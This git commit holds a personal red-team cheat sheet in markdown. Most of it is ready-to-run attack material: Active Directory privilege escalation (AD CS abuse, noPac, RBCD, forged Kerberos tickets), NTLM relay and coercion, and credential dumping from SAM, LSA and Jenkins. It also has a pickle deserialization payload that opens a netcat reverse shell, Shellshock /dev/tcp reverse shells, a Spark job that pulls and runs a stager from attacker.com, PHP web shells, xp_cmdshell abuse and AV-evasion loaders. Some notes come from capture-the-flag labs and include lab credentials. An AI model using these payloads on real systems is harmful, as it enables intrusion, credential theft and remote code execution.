first commit
This commit is contained in:
Vendored
BIN
Binary file not shown.
@@ -0,0 +1,55 @@
|
||||
- Recon
|
||||
- `certipy find domain.local/user:[email protected] -enabled`
|
||||
|
||||
- Shadow credentials
|
||||
- Add Key Credentials to the **msDS-KeyCredentialLink** of a user, allowing authentication as that user through certificates
|
||||
- Must have one of the following ACLs over the user:
|
||||
- GenericAll
|
||||
- GenericWrite
|
||||
- AddKeyCredentialLink
|
||||
- Procedure:
|
||||
- Get a certificate
|
||||
- `python3 /opt/pywhisker/pywhisker.py -u ValidUser -p ValidPass -d domain.local -t target --dc-ip <DC IP> --action add`
|
||||
- https://github.com/ShutdownRepo/pywhisker
|
||||
- Get a TGT
|
||||
- `python3 /opt/PKINITtools/gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass $passwordFromAbove -dc-ip <DC IP> domain.local/target filename.ccache`
|
||||
- https://github.com/dirkjanm/PKINITtools
|
||||
- Set the ccache environment variable for Impacket
|
||||
- `export KRB5CCNAME=filename.ccache`
|
||||
- Get NT hash from TGT
|
||||
- `python3 /opt/PKINITtools/getnthash.py domain.local/target -key <key from above> -dc-ip <DC IP>`
|
||||
|
||||
- Privesc through misconfigured certificate templates
|
||||
- Request a certificate
|
||||
- `certipy req domain.local/user:[email protected] -ca <CA Name> -template <vulnerable template> -alt <domain admin acct>@domain.local' -out pwned`
|
||||
- Authenticate and extract user's NT hash
|
||||
- `certipy auth -pfx pwned.pfx -username <domain admin acct> -domain domain.local -dc-ip <DC IP>`
|
||||
|
||||
- Privesc through Certificate Authority which allows rogue Subject Alternative Names (SANs)
|
||||
- "EDITF_ATTRIBUTESUBJECTALTNAME2" config allows users to specify SANs when requesting certificates
|
||||
- Effectively, any user can request a certificate as any other user
|
||||
- Exploited the same way as above, but can be done on any template
|
||||
|
||||
- NTLM Relay to AD CS HTTP Endpoints
|
||||
- Certificate enrollment web interface at http://<ADCS_Server>/certsrv/ is vulnerable to Net-NTLM relay attack
|
||||
- This allows attackers to use NTLM relay to to login and generate a certificate using the relayed user's creds
|
||||
- When PKINIT auth is used, Kerberos provides user with the NT hash of the account for fallback to Net-NTLM auth, which means we can also use this to obtain the NT hash of the user.
|
||||
- Exploitation:
|
||||
- Initialize the relay
|
||||
- `certipy relay -ca <CA_IP> -template DomainController`
|
||||
- Coerce authentication
|
||||
- `python3 /opt/PetitPotam/PetitPotam.py -d domain.local <attacker_IP> <target_DC_IP>`
|
||||
- Auth with the certificate
|
||||
- `certipy auth -pfx dc.pfx -dc-ip <DC_IP>`
|
||||
- DCSync
|
||||
- `cme smb <target_DC>.domain.local -u <DC_machine_acct> -H <NT_hash> --ntds`
|
||||
|
||||
- NTAuthCertificates
|
||||
- LDAP object: `(CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=rlyeh,DC=com)`
|
||||
- Add new CA certificate to this object (allows it to be trusted for auth):
|
||||
- `certutil.exe -dspublish -f C:\rogue.crt NTAuthCA`
|
||||
|
||||
- Golden certificates:
|
||||
1. Get the CA cert and key: `certipy ca -backup -ca 'cthulhu-CA'`
|
||||
2. Forge certificates: `certipy forge -ca-pfx cth.pfx [cert options]`
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
- CrackMapExec
|
||||
- `cme smb <target> –u ValidUser –p ValidPass --sam`
|
||||
- Dumps the SAM file - local users only (not domain)
|
||||
- `cme smb <target> –u ValidUser –p ValidPass --lsa`
|
||||
- Dump LSA secrets from the registry - includes Domain Cached Credentials
|
||||
- Checking BloodHound data for credentials in user descriptions
|
||||
- `cat <bloodhound_user_json_file> | jq '.data[].Properties | select(.enabled == true) | .name + " " + .description'`
|
||||
- Extracting Jenkins credentials from script console
|
||||
```Groovy
|
||||
/* All Credentials */
|
||||
import jenkins.*
|
||||
import jenkins.model.*
|
||||
import hudson.*
|
||||
import hudson.model.*
|
||||
def jenkinsCredentials = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
|
||||
com.cloudbees.plugins.credentials.Credentials.class,
|
||||
Jenkins.instance,
|
||||
null,
|
||||
null
|
||||
);
|
||||
for (creds in jenkinsCredentials) {
|
||||
println(jenkinsCredentials.id)
|
||||
}
|
||||
|
||||
/* Specific Credentials */
|
||||
import jenkins.*
|
||||
import jenkins.model.*
|
||||
import hudson.*
|
||||
import hudson.model.*
|
||||
def jenkinsCredentials = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
|
||||
com.cloudbees.plugins.credentials.Credentials.class,
|
||||
Jenkins.instance,
|
||||
null,
|
||||
null
|
||||
);
|
||||
for (creds in jenkinsCredentials) {
|
||||
if(creds.id == "<credential_id>"){
|
||||
println(creds.<variable_name_suchas_username>)
|
||||
println(creds.<variable_name_suchas_password>)
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,24 @@
|
||||
- Resource-Based Constrained Delegation
|
||||
- msDS-AllowedToActOnBehalfOfOtherIdentity - Property on an AD object that allows what users or computers have rights to delegate to that object.
|
||||
- Only accounts with SPNs, like machine accounts created by domain users, allowed to be added to this property
|
||||
- Prerequisites:
|
||||
- No LDAP signing on DCs
|
||||
- `cme ldap –u ValidUser –p ValidPass –M ldap-signing`
|
||||
- Account with a SPN that can be added to msDS-AllowedToActOnBehalfOfOtherIdentity
|
||||
- Check: `cme smb –u ValidUser –p ValidPass –M maq`
|
||||
- Need a way to coerce authentication (printerbug, petitpotam, etc.)
|
||||
- Exploitation:
|
||||
- Add machine account (with a SPN)
|
||||
- `impacket-addcomputer -computer-name 'uniqueName' -dc-ip <DC_IP> domain/user:password`
|
||||
- Add DNS record to force HTTP authentication
|
||||
- `python3 /opt/krbrelayx/dnstool.py -u domain.local\\ValidUser -p ValidPass -a add -r <new_unique_DNS_name> -d <attacker_IP> <DC IP>`
|
||||
- Start NTLM Relay
|
||||
- `impacket-ntlmrelayx -t ldaps://dc01.domain.local -wh <attacker_IP> --delegate-access --escalate-user <owned_account_with_a_SPN> --no-dump --no-acl --no-da --no-validate-privs`
|
||||
- Coerce authentication
|
||||
- `python3 /opt/krbrelayx/printerbug.py domain.local/ValidUser:ValidPass@remoteHost <added_DNS_record>@80/fakepath`
|
||||
- Request a TGS to impersonate a domain admin on the target host
|
||||
- `impacket-getST -spn cifs/remoteHost.domain.local -impersonate <Domain_Admin> domain.local/ValidUser:ValidPass -dc-ip <DC_IP>`
|
||||
- Set the ccache environment variable for impacket
|
||||
- `export KRB5CCNAME=<Domain_Admin>.ccache`
|
||||
- DCSync to dump hashes
|
||||
- `impacket-secretsdump -k -no-pass remoteHost.domain.local`
|
||||
@@ -0,0 +1,34 @@
|
||||
- Cerbero
|
||||
- `cerbero ask -u contoso.local/Anakin --aes ecce3d24b29c7f044163ab4d9411c25b5698337318e98bf2903bbb7f6d76197e -k 192.168.100.2 -vv`
|
||||
- Silver Ticket services
|
||||
- psexec - CIFS
|
||||
- winrm - HOST & HTTP
|
||||
- dcsync (DC only) - LDAP
|
||||
- Kerberoast/ASREPRoast (with CME)
|
||||
- `crackmapexec ldap –u ValidUser –p ValidPass –kerberoast targets.txt`
|
||||
- `crackmapexec ldap dc.domain.local -u ValidUser -p ValidPass --asreproast targets.txt`
|
||||
- NoPAC - CVE-2021-42278 and CVE-2021-42287
|
||||
- Breakdown
|
||||
- Create a new computer account with any name
|
||||
- Requires SeMachineAccountPrivilege - by default all domain users can create up to 10 machine accounts
|
||||
- Clear the SPNs
|
||||
- Change the name to mimic the SamAccountName of a Domain Controller (without the "$")
|
||||
- Request TGT for the machine account
|
||||
- Change name of computer back to its original value
|
||||
- Request TGS for the LDAP service using the TGT
|
||||
- Account name no longer exists - Kerberos will append a "$" and now the name will match the DC
|
||||
- DCSync
|
||||
- Exploitation
|
||||
- `python noPac.py domain.local/username:password -dc-ip <DC IP> -dc-host <DC name> --impersonate <user to impersonate> -dump`
|
||||
- https://github.com/Ridter/noPac
|
||||
- OPSEC - remember to delete the machine account after execution
|
||||
|
||||
- Dominance Tickets
|
||||
- Golden Tickets
|
||||
- Mimikatz: `kerberos::golden /user:<user> /domain:<FQDN> /sid:<domain SID> /krbtgt:<NTLM hash> /ticket:golden.kirbi`
|
||||
- Silver Tickets
|
||||
- Rubeus: `Rubeus.exe silver /service:<SPN> /aes256:<preferred, but can use RC4> /user:<user> /domain:rlyeh.local /sid:<user SID>`
|
||||
- Diamond Tickets
|
||||
- Rubeus: `Rubeus.exe diamond /tgtdeleg /ticketuser:<user> /ticketuserid:<uid> /groups:<rid> /krbkey:<krbtgt>`
|
||||
- Sapphire Tickets
|
||||
- Impacket: `ticketer.py -request -user lowpriv -password 'pwd123' -impersonate administrator -domain rlyeh.local -domain-sid <sid> -aesKey <key> Administrator`
|
||||
@@ -0,0 +1,7 @@
|
||||
- PrinterBug - Induce authentication from any one machine on the network to any other
|
||||
- `python3 /opt/krbrelayx/printerbug.py domain.local/user:password@target <targetIP>`
|
||||
- PetitPotam Authentication Coercion
|
||||
- Microsoft Encrypting File System Remote Protocol (MS-EFSR) allows AD server to remotely manage encrypted information using RPC
|
||||
- Can connect to a server unauthenticated and force it to open an "encrypted file" on your machine, thus forcing it to authenticate to you.
|
||||
- Exploitation:
|
||||
- `python /opt/PetitPotam/petitpotam.py <responder_IP> <target> -pipe all`
|
||||
@@ -0,0 +1,16 @@
|
||||
- Through Cobalt Strike:
|
||||
- https://github.com/praetorian-inc/PortBender
|
||||
- Through .NET
|
||||
- https://github.com/Kevin-Robertson/InveighZero
|
||||
- MITM6 - Spoof IPv6 and relay requests to targets
|
||||
- `mitm6 -d <domain.local>`
|
||||
- `ntlmrelayx.py -6 -wh 192.168.1.1 -t smb://192.168.1.2 -l ~/tmp/`
|
||||
- `-6` specifies ipv6, `-wh` specifies where the WPAD file is hosted at (your IP usually). `-t` specifies the target, or destination where the credentials will be relayed. `-l` is to where to store the loot.
|
||||
- Generate list of relay targets (SMB signing disabled)
|
||||
- `cme smb scope.txt --gen-relay-list relay.txt`
|
||||
- Basic NTLM Relay
|
||||
- `impacket-ntlmrelayx -t <target> -smb2support`
|
||||
- With targets file
|
||||
- `impacket-ntlmrelayx -tf relay.txt -smb2support`
|
||||
|
||||
- NTLM Relay to AD CS HTTP Endpoints - see ADCS section
|
||||
@@ -0,0 +1,114 @@
|
||||
# attacking machines with noPac exploit #
|
||||
# logic
|
||||
spoof a workstation account to request a ticket for a domain admin with no pack
|
||||
* pack is the part of a ticket that contains user information
|
||||
|
||||
(Pac = "Privileged Attribute Certificate")
|
||||
|
||||
% if vuln able to impersonate a admin a DCSYNC the target
|
||||
|
||||
% only need a set of valid domain creds to sploit
|
||||
|
||||
-----------------------------------------------------------------------------------
|
||||
# setup
|
||||
|
||||
% exploit code
|
||||
git clone https://github.com/WazeHell/sam-the-admin.git
|
||||
|
||||
{%%} performing the noPac attack (THM: RazorBlack)
|
||||
|
||||
sudo python3 sam_the_admin.py -dc-ip <rhost-ip> <domain-name>/<username>:<password>
|
||||
sudo python3 sam_the_admin.py -dc-ip 10.10.152.25 raz0rblack.thm/twilliams:roastpotatoes
|
||||
|
||||
* make sure you include tne netbios/hostname of the box for the highest priv user
|
||||
proxychains python3 sam_the_admin.py -dc-ip 10.200.151.30 -dc-host DC-SRV01 holo.live/watamet:Nothingtoworry!
|
||||
|
||||
% get a shell with the impacket-smb command or a other like wmiexec, psexec, etc
|
||||
|
||||
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass raz0rblack.thm/twilliams:roastpotatoes@10.10.152.25
|
||||
|
||||
* needs to be modified because of the extra domain
|
||||
|
||||
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass raz0rblack.thm/twilliams:roastpotatoes@10.10.152.25
|
||||
|
||||
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass -dc-ip 10.10.152.25 raz0rblack.thm/twilliams:roastpotatoes@haven-dc.raz0rblack.thm
|
||||
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -k -no-pass raz0rblack.thm/twilliams:roastpotatoes@haven-dc.raz0rblack.thm
|
||||
|
||||
{what worked for me after adding the netbios hostname and domain name to the /etc/hosts file}
|
||||
|
||||
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -dc-ip 10.10.21.231 -k -no-pass raz0rblack.thm/Administrator@haven-dc.raz0rblack.thm
|
||||
|
||||
=-=-=-=-=-=-=-=------------=-=-=-=-=-=-=-=-=-=
|
||||
% if it fails
|
||||
|
||||
1. attempt a time sync
|
||||
sudo apt install ntpdate -y
|
||||
|
||||
sudo ntpdate <rhost-ip>
|
||||
sudo ntpdate 10.10.152.25
|
||||
|
||||
---------------------------------------------------------------------------------------------
|
||||
# clean up after the fact (just delete the user that was created to impersonate administrator
|
||||
% account creaated
|
||||
SAMTHEADMIN-39$:CxP)O@kQyHqW
|
||||
|
||||
% how to figure out that account is still there
|
||||
1. rid-cycling
|
||||
|
||||
crackmapexec smb 10.10.85.161 -u twilliams -p roastpotatoes --rid-brute
|
||||
|
||||
% how to remove account //{!}\\ by using impacket (addcomputer.py) to remove the machine account
|
||||
|
||||
impacket-addcomputer -dc-ip 10.10.104.115 -computer-name 'SAMTHEADMIN-55$' -dc-host HAVEN-DC -domain-netbios raz0rblack.thm 'raz0rblack.thm/oreo:P@ssw0rd' -delete
|
||||
|
||||
{/!\} check to make sure the ticket still works after the account SAMTHEADMIN account has been removed
|
||||
KRB5CCNAME='Administrator.ccache' /usr/bin/impacket-wmiexec -dc-ip 10.10.104.115 -k -no-pass raz0rblack.thm/Administrator@haven-dc.raz0rblack.thm
|
||||
|
||||
* yes still works pog
|
||||
|
||||
---------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
# 0r just use Alh4zr3d version which auto deletes it
|
||||
git clone https://github.com/Alh4zr3d/sam-the-admin.git
|
||||
|
||||
proxychains python3 sam_the_admin.py -dc-ip 10.200.151.30 holo.live/watamet:Nothingtoworry!
|
||||
proxychains python3 sam_the_admin.py -dc-ip 10.200.151.30 -dc-host DC-SRV01 holo.live/watamet:Nothingtoworry!
|
||||
|
||||
export KRB5CCNAME='a-fubukis.ccache'
|
||||
proxychains impacket-wmiexec -dc-ip 10.200.151.30 -k -no-pass holo.live/a-fubukis@10.200.151.30
|
||||
|
||||
{!} problems with same the admin
|
||||
* some networks return this authentication error
|
||||
[-] Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)
|
||||
|
||||
* since you can't select what user to impersonate
|
||||
there is a change that the ticket you get is for a user who may not be able to authenticate
|
||||
|
||||
---------------------------\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\================================-----------------------
|
||||
# or a more automated version of noPac from this repo ;'..;' https://github.com/Ridter/noPac.git
|
||||
git clone https://github.com/Ridter/noPac.git
|
||||
|
||||
% how use it (defaults)
|
||||
{auto shell}
|
||||
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 -shell --impersonate administrator
|
||||
|
||||
proxychains python3 noPac.py -use-ldap holo.live/watamet:Nothingtoworry! -dc-ip 10.200.151.30 -dc-host DC-SRV01 -shell --impersonate administrator
|
||||
proxychains python3 noPac.py holo.live/watamet:Nothingtoworry! -dc-ip 10.200.151.30 -dc-host DC-SRV01 -shell --impersonate administrator
|
||||
|
||||
% example from the holo network noPac attempt
|
||||
python3 noPac.py -use-ldap -dc-ip <IP> <DOMAIN>/<USER>:<PASS> --impersonate administrator -dump
|
||||
|
||||
1. domain into
|
||||
[*] Windows 10.0 Build 17763 x64 (name:DC-SRV01) (domain:holo.live) (signing:False) (SMBv1:False)
|
||||
watamet:Nothingtoworry!
|
||||
|
||||
2. perform the attack over socks proxy
|
||||
proxychians python3 noPac.py -use-ldap -dc-ip <IP> <DOMAIN>/<USER>:<PASS> --impersonate administrator -dump
|
||||
proxychains python3 noPac.py -use-ldap -dc-ip 10.200.151.30 holo.live/watamet:Nothingtoworry! --impersonate administrator -dump
|
||||
|
||||
-use-ldap ("used when the server is running it's service with ssl")
|
||||
|
||||
3. psexec in
|
||||
proxychains impacket-wmiexec holo.live/Administrator@10.200.151.30 -hashes ae19656e1067231cb5e3c5dcea320bba:ae19656e1067231cb5e3c5dcea320bba
|
||||
|
||||
0r
|
||||
use the ticket it creates with a method above
|
||||
@@ -0,0 +1,23 @@
|
||||
- Malicious Spark application - initializing Spark context
|
||||
```Python
|
||||
from pyspark import SparkContext, SparkConf
|
||||
# Set up configuration options
|
||||
conf = SparkConf()
|
||||
conf = conf.setAppName("Word Count")
|
||||
# Add the IP of the Spark master
|
||||
conf = conf.setMaster("spark://<master_IP>:7077")
|
||||
# Add the IP of the Jenkins worker we are currently on
|
||||
conf = conf.set("spark.driver.host", "<worker_IP>")
|
||||
# Initialize the Spark context with the necessary info to reach the master
|
||||
sc = SparkContext(conf = conf)
|
||||
partList = sc.parallelize(range(0, 1))
|
||||
finalList = partList.map(
|
||||
lambda x: subprocess.Popen(
|
||||
"wget https://attacker.com/stager && chmod +x ./stager && ./stager &",
|
||||
shell=True,
|
||||
preexec_fn=os.setpgrp,
|
||||
)
|
||||
)
|
||||
finalList.collect()
|
||||
time.sleep(10)
|
||||
```
|
||||
@@ -0,0 +1,22 @@
|
||||
- Machine registration
|
||||
1. Create `client.rb` and `validation.pem`
|
||||
- The former defines variables Chef needs to set up a new machine and the latter is the `chef-validator` private key
|
||||
2. `apt update && apt install -y chef`
|
||||
3. `chef-client`
|
||||
4. `ls /etc/chef`
|
||||
- Configure the `knife` utility
|
||||
- `~/.chef/knife.rb`
|
||||
```Ruby
|
||||
node_name 'aws-node-78ec.eu-west-1.compute.internal'
|
||||
client_key '/etc/chef/client.pem'
|
||||
chef_server_url 'https://chef.mxrads.net/organizations/mxrads'
|
||||
knife[:editor] = '/usr/bin/vim'
|
||||
```
|
||||
|
||||
- Explore Chef cookbooks
|
||||
- List
|
||||
- `knife cookbooks list`
|
||||
- Display cookbook version history
|
||||
- `knife cookbooks show <cookbook_name>`
|
||||
- Display specific cookbook
|
||||
- `knife cookbooks show <cookbook_name> <version>`
|
||||
@@ -0,0 +1,6 @@
|
||||
- Get a list of indices
|
||||
- `curl "<IP>:9200/_cat/indices?v"`
|
||||
- Extract last bit of data from given index
|
||||
- `curl "<IP>:9200/<index_name>>/_search?pretty&size=4"`
|
||||
- Search for keywords in index
|
||||
- `curl "<IP>:9200/<index_name>/_search?pretty&size=12&q=message:<search_string>"`
|
||||
@@ -0,0 +1,25 @@
|
||||
- PowerUpSQL
|
||||
- `powershell Get-SQLServerLinkCrawl -Instance 'sql-1.cyberbotic.io,1433'`
|
||||
- `powershell Get-SQLServerLinkCrawl -Instance 'sql-1.cyberbotic.io,1433' -Query 'select @@version' | select Instance, CustomQuery | % { $_ | Add-Member NoteProperty 'QueryResult' $($_.CustomQuery[0]); $_ } | fl`
|
||||
- Queries:
|
||||
- `SELECT @@version`
|
||||
- `SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell'`
|
||||
- `EXEC xp_cmxp_cmdshell dshell 'dir C:\'`
|
||||
- List databases
|
||||
- `SELECT name,database_id,create_date from sys.databases`
|
||||
- List db admins
|
||||
- `SELECT name,type_desc,is_disabled,create_date FROM master.sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1 ORDER BY name`
|
||||
- Enable xp_cmdshell:
|
||||
- `sp_configure 'Show Advanced Options', 1; RECONFIGURE;`
|
||||
- `sp_configure 'xp_cmdshell', 1; RECONFIGURE`
|
||||
- Use xp_dirtree (with Responder)
|
||||
- `EXEC master.sys.xp_dirtree '\\10.10.14.12\CTHULHUFHTAGN',1,1`
|
||||
- Discover linked databases:
|
||||
- `SELECT * FROM master..sysservers`
|
||||
- Execute queries on linked databases:
|
||||
- `SELECT * FROM OPENQUERY("SQL02.DEV.ZEROPOINTSECURITY.CO.UK", 'select * FROM master..sysservers')`
|
||||
- `EXEC('xp_cmdshell "dir C:\"') AT [sql02.dev.zeropointsecurity.co.uk]`
|
||||
- `SELECT * FROM OPENQUERY("sql02.dev.zeropointsecurity.co.uk", 'select * from sys.configurations where name = ''xp_cmdshell''')`
|
||||
- `SELECT * FROM OPENQUERY("sql02.dev.zeropointsecurity.co.uk", 'select @@servername; exec xp_cmdshell ''whoami''')`
|
||||
- Search for specific keywords in databases and format results into table
|
||||
- `Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ? { $_.Status -eq 'Accessible' } | Get-SQLColumnSampleDataThreaded -SampleSize 5 -Keywords 'student,name' -NoDefaults | select instance, database, column, sample | ft -autosize`
|
||||
@@ -0,0 +1,2 @@
|
||||
- Get tables and columns
|
||||
- `psql -h <host> -U root -d <db_name> -p 543-c "SELECT tablename, columnname FROM PG_TABLE_DEF where schemaname ='public'"`
|
||||
@@ -0,0 +1,6 @@
|
||||
- List all keys in the database
|
||||
- `redis -h <IP> --scan *`
|
||||
- Get value of a given key
|
||||
- `redis -h <IP> get <key_name>`
|
||||
- Set value of a given key
|
||||
- `redis -h 10.59.12.47 set <key> <value>`
|
||||
@@ -0,0 +1,23 @@
|
||||
- Donut
|
||||
- `EXCELntDonut -f CSRunner.cs --sandbox --obfuscate`
|
||||
- Convert EXE (such as from Scarecrow) into PIC shellcode)
|
||||
- `./donut -a 2 -f 7 -o donut\_payload.bin cmd.exe`
|
||||
- BananaPhone
|
||||
- Generate 64-bit C# stager in Cobalt Strike
|
||||
- `cd BananaPhone/example/hideexample/banana`
|
||||
- `go generate .`
|
||||
- Copy byte array from stager into main.go
|
||||
- `env GOOS=windows GOARCH=amd64 go build -ldflags -H=windowsgui`
|
||||
- Scarecrow
|
||||
- JavaScript
|
||||
- `./ScareCrow -I beacon.bin -Loader control -O access.js -domain test.com`
|
||||
- EXE
|
||||
- `./ScareCrow -I payload64.bin -Loader binary -domain acme.com`
|
||||
- xeca
|
||||
- Save Powershell payload as a .ps1 file
|
||||
- `xeca powershell --payload cthulhu.ps1 --url http://attacker.ip
|
||||
- Execute "launch.txt", will call back to attacker for encryption key
|
||||
- Limelighter
|
||||
- Tiki Torch
|
||||
- CactusTorch
|
||||
- Sharpshooter
|
||||
@@ -0,0 +1,11 @@
|
||||
- Break MS Word parent-child releationship
|
||||
```VBScript
|
||||
Dim proc As Object
|
||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell"
|
||||
```
|
||||
|
||||
- Embedding hidden iframe in phishing page
|
||||
```HTML
|
||||
<iframe src="<URI/URL>" width="0" height="0" frameborder="0" tabindex="-1" title="empty" style=visibility:hidden;display:none"> </iframe>
|
||||
```
|
||||
@@ -0,0 +1,5 @@
|
||||
- Potatoes
|
||||
- Rogue Potato
|
||||
- `.\RoguePotato.exe -r <attacker IP> -e "cmd.exe /c powershell -enc <base64 encoded powershell> -l 9999`
|
||||
- Might have to look up a CLSID and add a `-c “{<CLSID>}"`
|
||||
- https://github.com/CCob/SweetPotato
|
||||
@@ -0,0 +1,13 @@
|
||||
- Python
|
||||
```Python
|
||||
import pickle
|
||||
import sys
|
||||
import base64
|
||||
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | ' '/bin/sh -i 2>&1 | netcat **10.10.10.10 4444** > /tmp/f'
|
||||
class rce(object):
|
||||
def __reduce__(self):
|
||||
import os
|
||||
return (os.system,(command,))
|
||||
print(base64.b64encode(pickle.dumps(rce())))
|
||||
```
|
||||
|
||||
@@ -0,0 +1,5 @@
|
||||
- WFuzz
|
||||
- Fuzz POST params with file wordlist, colors, and hiding 0-word responses
|
||||
- `wfuzz -c -z file,date-wordlist.txt -d "date=FUZZ" --hw 0 -u http://10.10.62.67/api/site-log.php`
|
||||
- Fuzz subdomains via host header
|
||||
- `wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://rocket.thm' -H "Host: FUZZ.rocket.thm" --hw 28`
|
||||
@@ -0,0 +1,11 @@
|
||||
- Injection vulnerability omnibuses
|
||||
```
|
||||
dddd",'|&$;:`({{@<%=ddd
|
||||
```
|
||||
|
||||
- Shellshock
|
||||
- `curl -x TARGETADDRESS -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/HOSTIP/1234 0>&1" TARGETADDRESS/cgi-bin/status`
|
||||
- `curl -x 192.168.28.167:PORT -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/192.168.28.169/1234 0>&1" 192.168.28.167/cgi-bin/status`
|
||||
- `ssh username@IPADDRESS '() { :;}; /bin/bash'`
|
||||
- RCE where no spaces are allowed (python required)
|
||||
- `python3$IFS-c'print(b"wget\x20http://my-malware".decode())'|bash`
|
||||
@@ -0,0 +1,17 @@
|
||||
- Web shell:
|
||||
- `<?php echo “Cthulhu fhtagn!”; system($_REQUEST['boop']); ?>`
|
||||
- Get first handful of bytes from JPG or GIF for use as magic bytes:
|
||||
- `head -c 20 <any image file> > magicbytes`
|
||||
- `cat magicbytes shell.php > magical-shell.php`
|
||||
- Upload reverse shell via PHP code execution:
|
||||
- `<?php file_put_contents('shell.php', file_get_contents('http://<attacker IP>/shell.php')); ?>`
|
||||
- `curl -A "<?php file_put_contents('shell.php', file_get_contents('http:/<attacker ip>/shell.php')); ?>" -s http://<target>`
|
||||
- Filters
|
||||
- `http://10.10.40.31/?view=php://filter/read=convert.base64-encode/resource=./dog/../index`
|
||||
- RCE - [Filter Chain Generation Tool](https://github.com/synacktiv/php_filter_chain_generator)
|
||||
- `<?= exec($_GET[0]); ?>`
|
||||
```
|
||||
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.i